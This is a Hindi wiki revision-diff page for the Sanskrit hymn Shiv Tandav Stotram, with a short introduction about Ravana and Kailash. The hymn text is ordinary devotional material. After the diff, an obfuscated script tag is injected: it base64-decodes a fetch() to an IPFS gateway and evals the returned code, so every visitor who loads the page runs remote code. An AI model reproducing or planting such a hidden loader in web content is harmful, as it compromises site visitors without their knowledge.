"शिवताण्डवस्तोत्रम्" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पन्ना: {{Menu}} ==शिवताण्डवस्तोत्रम्== {| |- | style="background-color:#FFFCF0;border:1px solid black; padding:10px;" valign="top" | जटा...)
 
छो (Text replace - '०' to '0')
 
(इसी सदस्य द्वारा किये गये बीच के १७ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 
{{Menu}}
 
{{Menu}}
==शिवताण्डवस्तोत्रम्==
+
==शिवताण्डवस्तोत्रम् / Shivtandavstrotam==
 +
 +
====रावण द्वारा भगवान शिव की स्तुति====
 +
*कथा है की अहंकार वश [[रावण]] ने अपने आराध्य देव [[शिव]] के निवास स्थान [[कैलास]] पर्वत को अपने हाथों पर उठा लिया था|
 +
*क्रोधित हो शिव ने रावण के हाथों को पर्वत के नीचे दबा दिया|
 +
*रावण ने शिव की स्तुति में निम्न स्त्रोत कहा तो शिव ने प्रसन्न हो कर रावण को क्षमा कर दिया| 
 +
<br />
 
{|
 
{|
 
|-
 
|-
पंक्ति ७: पंक्ति १३:
 
गलेऽव-लम्ब्य-लम्बितां-भुजङ्ग-तुङ्ग-मालिकाम्<br />
 
गलेऽव-लम्ब्य-लम्बितां-भुजङ्ग-तुङ्ग-मालिकाम्<br />
 
डमड्डमड्डमड्डम-न्निनादव-ड्डमर्वयं<br />
 
डमड्डमड्डमड्डम-न्निनादव-ड्डमर्वयं<br />
चकार-चण्ड्ताण्डवं-तनोतु-नः शिवः शिवम् .. ..
+
चकार-चण्ड्ताण्डवं-तनोतु-नः शिवः शिवम् .. 1..
  
 
जटा-कटा-हसं-भ्रम भ्रमन्नि-लिम्प-निर्झरी-<br />
 
जटा-कटा-हसं-भ्रम भ्रमन्नि-लिम्प-निर्झरी-<br />
 
-विलोलवी-चिवल्लरी-विराजमान-मूर्धनि <br />
 
-विलोलवी-चिवल्लरी-विराजमान-मूर्धनि <br />
 
धगद्धगद्धग-ज्ज्वल-ल्ललाट-पट्ट-पावके<br />
 
धगद्धगद्धग-ज्ज्वल-ल्ललाट-पट्ट-पावके<br />
किशोरचन्द्रशेखरे रतिः प्रतिक्षणं मम .. ..<br />
+
किशोरचन्द्रशेखरे रतिः प्रतिक्षणं मम .. 2..<br />
  
 
धरा-धरेन्द्र-नंदिनी विलास-बन्धु-बन्धुर<br />
 
धरा-धरेन्द्र-नंदिनी विलास-बन्धु-बन्धुर<br />
 
स्फुर-द्दिगन्त-सन्तति प्रमोद-मान-मानसे<br />
 
स्फुर-द्दिगन्त-सन्तति प्रमोद-मान-मानसे<br />
 
कृपा-कटाक्ष-धोरणी-निरुद्ध-दुर्धरापदि<br />
 
कृपा-कटाक्ष-धोरणी-निरुद्ध-दुर्धरापदि<br />
क्वचि-द्दिगम्बरे-मनो विनोदमेतु वस्तुनि .. ..
+
क्वचि-द्दिगम्बरे-मनो विनोदमेतु वस्तुनि .. 3..
  
 
जटा-भुजङ्ग-पिङ्गल-स्फुरत्फणा-मणि प्रभा<br />
 
जटा-भुजङ्ग-पिङ्गल-स्फुरत्फणा-मणि प्रभा<br />
 
कदम्ब-कुङ्कुम-द्रव प्रलिप्त-दिग्व-धूमुखे<br />
 
कदम्ब-कुङ्कुम-द्रव प्रलिप्त-दिग्व-धूमुखे<br />
 
मदान्ध-सिन्धुर-स्फुरत्त्व-गुत्तरी-यमे-दुरे<br />
 
मदान्ध-सिन्धुर-स्फुरत्त्व-गुत्तरी-यमे-दुरे<br />
मनो विनोदमद्भुतं-बिभर्तु-भूतभर्तरि .. ..
+
मनो विनोदमद्भुतं-बिभर्तु-भूतभर्तरि .. 4..
  
 
सहस्र लोचन प्रभृत्य-शेष-लेख-शेखर<br />
 
सहस्र लोचन प्रभृत्य-शेष-लेख-शेखर<br />
 
प्रसून-धूलि-धोरणी-विधू-सराङ्घ्रि-पीठभूः<br />
 
प्रसून-धूलि-धोरणी-विधू-सराङ्घ्रि-पीठभूः<br />
 
भुजङ्गराज-मालया-निबद्ध-जाटजूटक:<br />
 
भुजङ्गराज-मालया-निबद्ध-जाटजूटक:<br />
श्रियै-चिराय-जायतां चकोर-बन्धु-शेखरः .. ..
+
श्रियै-चिराय-जायतां चकोर-बन्धु-शेखरः .. 5..
  
 
ललाट-चत्वर-ज्वलद्धनञ्जय-स्फुलिङ्गभा-<br />
 
ललाट-चत्वर-ज्वलद्धनञ्जय-स्फुलिङ्गभा-<br />
 
निपीत-पञ्च-सायकं-नमन्नि-लिम्प-नायकम्<br />
 
निपीत-पञ्च-सायकं-नमन्नि-लिम्प-नायकम्<br />
 
सुधा-मयूख-लेखया-विराजमान-शेखरं<br />
 
सुधा-मयूख-लेखया-विराजमान-शेखरं<br />
महाकपालि-सम्पदे-शिरो-जटाल-मस्तुनः .. ..
+
महाकपालि-सम्पदे-शिरो-जटाल-मस्तुनः .. 6..
  
 
कराल-भाल-पट्टिका-धगद्धगद्धग-ज्ज्वल<br />
 
कराल-भाल-पट्टिका-धगद्धगद्धग-ज्ज्वल<br />
 
द्धनञ्ज-याहुतीकृत-प्रचण्डपञ्च-सायके<br />
 
द्धनञ्ज-याहुतीकृत-प्रचण्डपञ्च-सायके<br />
 
धरा-धरेन्द्र-नन्दिनी-कुचाग्रचित्र-पत्रक<br />
 
धरा-धरेन्द्र-नन्दिनी-कुचाग्रचित्र-पत्रक<br />
-प्रकल्प-नैकशिल्पिनि-त्रिलोचने-रतिर्मम … ..
+
-प्रकल्प-नैकशिल्पिनि-त्रिलोचने-रतिर्मम … 7..
  
 
नवीन-मेघ-मण्डली-निरुद्ध-दुर्धर-स्फुरत्<br />
 
नवीन-मेघ-मण्डली-निरुद्ध-दुर्धर-स्फुरत्<br />
 
कुहू-निशी-थिनी-तमः प्रबन्ध-बद्ध-कन्धरः<br />
 
कुहू-निशी-थिनी-तमः प्रबन्ध-बद्ध-कन्धरः<br />
 
निलिम्प-निर्झरी-धरस्त-नोतु कृत्ति-सिन्धुरः<br />
 
निलिम्प-निर्झरी-धरस्त-नोतु कृत्ति-सिन्धुरः<br />
कला-निधान-बन्धुरः श्रियं जगद्धुरंधरः .. ..
+
कला-निधान-बन्धुरः श्रियं जगद्धुरंधरः .. 8..
  
 
प्रफुल्ल-नीलपङ्कज-प्रपञ्च-कालिमप्रभा-<br />
 
प्रफुल्ल-नीलपङ्कज-प्रपञ्च-कालिमप्रभा-<br />
 
-वलम्बि-कण्ठ-कन्दली-रुचिप्रबद्ध-कन्धरम् .<br />
 
-वलम्बि-कण्ठ-कन्दली-रुचिप्रबद्ध-कन्धरम् .<br />
 
स्मरच्छिदं पुरच्छिदं भवच्छिदं मखच्छिदं<br />
 
स्मरच्छिदं पुरच्छिदं भवच्छिदं मखच्छिदं<br />
गजच्छिदांधकछिदं तमंतक-च्छिदं भजे .. ..
+
गजच्छिदांधकछिदं तमंतक-च्छिदं भजे .. 9..
  
 
अखर्व सर्व-मङ्ग-लाकला-कदंबमञ्जरी<br />
 
अखर्व सर्व-मङ्ग-लाकला-कदंबमञ्जरी<br />
 
रस-प्रवाह-माधुरी विजृंभणा-मधुव्रतम्<br />
 
रस-प्रवाह-माधुरी विजृंभणा-मधुव्रतम्<br />
 
स्मरान्तकं पुरान्तकं भवान्तकं मखान्तकं<br />
 
स्मरान्तकं पुरान्तकं भवान्तकं मखान्तकं<br />
गजान्त-कान्ध-कान्तकं तमन्तकान्तकं भजे .. १०..
+
गजान्त-कान्ध-कान्तकं तमन्तकान्तकं भजे .. 10..
  
 
जयत्व-दभ्र-विभ्र-म-भ्रमद्भुजङ्ग-मश्वस-<br />
 
जयत्व-दभ्र-विभ्र-म-भ्रमद्भुजङ्ग-मश्वस-<br />
 
द्विनिर्गमत्क्रम-स्फुरत्कराल-भाल-हव्यवाट्<br />
 
द्विनिर्गमत्क्रम-स्फुरत्कराल-भाल-हव्यवाट्<br />
 
धिमिद्धिमिद्धिमिध्वनन्मृदङ्ग-तुङ्ग-मङ्गल<br />
 
धिमिद्धिमिद्धिमिध्वनन्मृदङ्ग-तुङ्ग-मङ्गल<br />
ध्वनि-क्रम-प्रवर्तित प्रचण्डताण्डवः शिवः .. ११..
+
ध्वनि-क्रम-प्रवर्तित प्रचण्डताण्डवः शिवः .. 11..
  
 
दृष-द्विचित्र-तल्पयोर्भुजङ्ग-मौक्ति-कस्रजोर्<br />
 
दृष-द्विचित्र-तल्पयोर्भुजङ्ग-मौक्ति-कस्रजोर्<br />
 
-गरिष्ठरत्नलोष्ठयोः सुहृद्वि-पक्षपक्षयोः<br />
 
-गरिष्ठरत्नलोष्ठयोः सुहृद्वि-पक्षपक्षयोः<br />
 
तृष्णार-विन्द-चक्षुषोः प्रजा-मही-महेन्द्रयोः<br />
 
तृष्णार-विन्द-चक्षुषोः प्रजा-मही-महेन्द्रयोः<br />
समप्रवृतिकः कदा सदाशिवं भजे .. १२..
+
समप्रवृतिकः कदा सदाशिवं भजे .. 12..
  
 
कदा निलिम्प-निर्झरीनिकुञ्ज-कोटरे वसन्<br />
 
कदा निलिम्प-निर्झरीनिकुञ्ज-कोटरे वसन्<br />
 
विमुक्त-दुर्मतिः सदा शिरःस्थ-मञ्जलिं वहन् .<br />
 
विमुक्त-दुर्मतिः सदा शिरःस्थ-मञ्जलिं वहन् .<br />
 
विमुक्त-लोल-लोचनो ललाम-भाललग्नकः<br />
 
विमुक्त-लोल-लोचनो ललाम-भाललग्नकः<br />
शिवेति मंत्र-मुच्चरन् कदा सुखी भवाम्यहम् .. १३..
+
शिवेति मन्त्र-मुच्चरन् कदा सुखी भवाम्यहम् .. 13..
  
 
इदम् हि नित्य-मेव-मुक्तमुत्तमोत्तमं स्तवं<br />
 
इदम् हि नित्य-मेव-मुक्तमुत्तमोत्तमं स्तवं<br />
 
पठन्स्मरन्ब्रुवन्नरो विशुद्धि-मेति-संततम्<br />
 
पठन्स्मरन्ब्रुवन्नरो विशुद्धि-मेति-संततम्<br />
 
हरे गुरौ सुभक्ति-माशु याति नान्यथा गतिं<br />
 
हरे गुरौ सुभक्ति-माशु याति नान्यथा गतिं<br />
विमोहनं हि देहिनां सुशङ्करस्य चिंतनम् .. १४..
+
विमोहनं हि देहिनां सुशङ्करस्य चिंतनम् .. 14..
  
 
पूजावसानसमये दशवक्त्रगीतं यः<br />
 
पूजावसानसमये दशवक्त्रगीतं यः<br />
 
शंभुपूजनपरं पठति प्रदोषे<br />
 
शंभुपूजनपरं पठति प्रदोषे<br />
 
तस्य स्थिरां रथगजेन्द्रतुरङ्गयुक्तां<br />
 
तस्य स्थिरां रथगजेन्द्रतुरङ्गयुक्तां<br />
लक्ष्मीं सदैव सुमुखिं प्रददाति शंभुः .. १५..
+
लक्ष्मीं सदैव सुमुखिं प्रददाति शंभुः .. 15..
 
|-
 
|-
 
|}
 
|}
[[श्रेणी: कोश]]  
+
[[Category: कोश]]  
[[श्रेणी:रामायण]]   
+
[[Category:रामायण]]   
[[category:पौराणिक]]
+
[[Category:पौराणिक]]
 
[[Category:पौराणिक_साहित्य]]
 
[[Category:पौराणिक_साहित्य]]
 
__INDEX__
 
__INDEX__

०९:०८, ७ अप्रैल २०१० के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शिवताण्डवस्तोत्रम् / Shivtandavstrotam

रावण द्वारा भगवान शिव की स्तुति

  • कथा है की अहंकार वश रावण ने अपने आराध्य देव शिव के निवास स्थान कैलास पर्वत को अपने हाथों पर उठा लिया था|
  • क्रोधित हो शिव ने रावण के हाथों को पर्वत के नीचे दबा दिया|
  • रावण ने शिव की स्तुति में निम्न स्त्रोत कहा तो शिव ने प्रसन्न हो कर रावण को क्षमा कर दिया|


जटाटवी-गलज्जल-प्रवाह-पावित-स्थले
गलेऽव-लम्ब्य-लम्बितां-भुजङ्ग-तुङ्ग-मालिकाम्
डमड्डमड्डमड्डम-न्निनादव-ड्डमर्वयं
चकार-चण्ड्ताण्डवं-तनोतु-नः शिवः शिवम् .. 1..

जटा-कटा-हसं-भ्रम भ्रमन्नि-लिम्प-निर्झरी-
-विलोलवी-चिवल्लरी-विराजमान-मूर्धनि
धगद्धगद्धग-ज्ज्वल-ल्ललाट-पट्ट-पावके
किशोरचन्द्रशेखरे रतिः प्रतिक्षणं मम .. 2..

धरा-धरेन्द्र-नंदिनी विलास-बन्धु-बन्धुर
स्फुर-द्दिगन्त-सन्तति प्रमोद-मान-मानसे
कृपा-कटाक्ष-धोरणी-निरुद्ध-दुर्धरापदि
क्वचि-द्दिगम्बरे-मनो विनोदमेतु वस्तुनि .. 3..

जटा-भुजङ्ग-पिङ्गल-स्फुरत्फणा-मणि प्रभा
कदम्ब-कुङ्कुम-द्रव प्रलिप्त-दिग्व-धूमुखे
मदान्ध-सिन्धुर-स्फुरत्त्व-गुत्तरी-यमे-दुरे
मनो विनोदमद्भुतं-बिभर्तु-भूतभर्तरि .. 4..

सहस्र लोचन प्रभृत्य-शेष-लेख-शेखर
प्रसून-धूलि-धोरणी-विधू-सराङ्घ्रि-पीठभूः
भुजङ्गराज-मालया-निबद्ध-जाटजूटक:
श्रियै-चिराय-जायतां चकोर-बन्धु-शेखरः .. 5..

ललाट-चत्वर-ज्वलद्धनञ्जय-स्फुलिङ्गभा-
निपीत-पञ्च-सायकं-नमन्नि-लिम्प-नायकम्
सुधा-मयूख-लेखया-विराजमान-शेखरं
महाकपालि-सम्पदे-शिरो-जटाल-मस्तुनः .. 6..

कराल-भाल-पट्टिका-धगद्धगद्धग-ज्ज्वल
द्धनञ्ज-याहुतीकृत-प्रचण्डपञ्च-सायके
धरा-धरेन्द्र-नन्दिनी-कुचाग्रचित्र-पत्रक
-प्रकल्प-नैकशिल्पिनि-त्रिलोचने-रतिर्मम … 7..

नवीन-मेघ-मण्डली-निरुद्ध-दुर्धर-स्फुरत्
कुहू-निशी-थिनी-तमः प्रबन्ध-बद्ध-कन्धरः
निलिम्प-निर्झरी-धरस्त-नोतु कृत्ति-सिन्धुरः
कला-निधान-बन्धुरः श्रियं जगद्धुरंधरः .. 8..

प्रफुल्ल-नीलपङ्कज-प्रपञ्च-कालिमप्रभा-
-वलम्बि-कण्ठ-कन्दली-रुचिप्रबद्ध-कन्धरम् .
स्मरच्छिदं पुरच्छिदं भवच्छिदं मखच्छिदं
गजच्छिदांधकछिदं तमंतक-च्छिदं भजे .. 9..

अखर्व सर्व-मङ्ग-लाकला-कदंबमञ्जरी
रस-प्रवाह-माधुरी विजृंभणा-मधुव्रतम्
स्मरान्तकं पुरान्तकं भवान्तकं मखान्तकं
गजान्त-कान्ध-कान्तकं तमन्तकान्तकं भजे .. 10..

जयत्व-दभ्र-विभ्र-म-भ्रमद्भुजङ्ग-मश्वस-
द्विनिर्गमत्क्रम-स्फुरत्कराल-भाल-हव्यवाट्
धिमिद्धिमिद्धिमिध्वनन्मृदङ्ग-तुङ्ग-मङ्गल
ध्वनि-क्रम-प्रवर्तित प्रचण्डताण्डवः शिवः .. 11..

दृष-द्विचित्र-तल्पयोर्भुजङ्ग-मौक्ति-कस्रजोर्
-गरिष्ठरत्नलोष्ठयोः सुहृद्वि-पक्षपक्षयोः
तृष्णार-विन्द-चक्षुषोः प्रजा-मही-महेन्द्रयोः
समप्रवृतिकः कदा सदाशिवं भजे .. 12..

कदा निलिम्प-निर्झरीनिकुञ्ज-कोटरे वसन्
विमुक्त-दुर्मतिः सदा शिरःस्थ-मञ्जलिं वहन् .
विमुक्त-लोल-लोचनो ललाम-भाललग्नकः
शिवेति मन्त्र-मुच्चरन् कदा सुखी भवाम्यहम् .. 13..

इदम् हि नित्य-मेव-मुक्तमुत्तमोत्तमं स्तवं
पठन्स्मरन्ब्रुवन्नरो विशुद्धि-मेति-संततम्
हरे गुरौ सुभक्ति-माशु याति नान्यथा गतिं
विमोहनं हि देहिनां सुशङ्करस्य चिंतनम् .. 14..

पूजावसानसमये दशवक्त्रगीतं यः
शंभुपूजनपरं पठति प्रदोषे
तस्य स्थिरां रथगजेन्द्रतुरङ्गयुक्तां
लक्ष्मीं सदैव सुमुखिं प्रददाति शंभुः .. 15..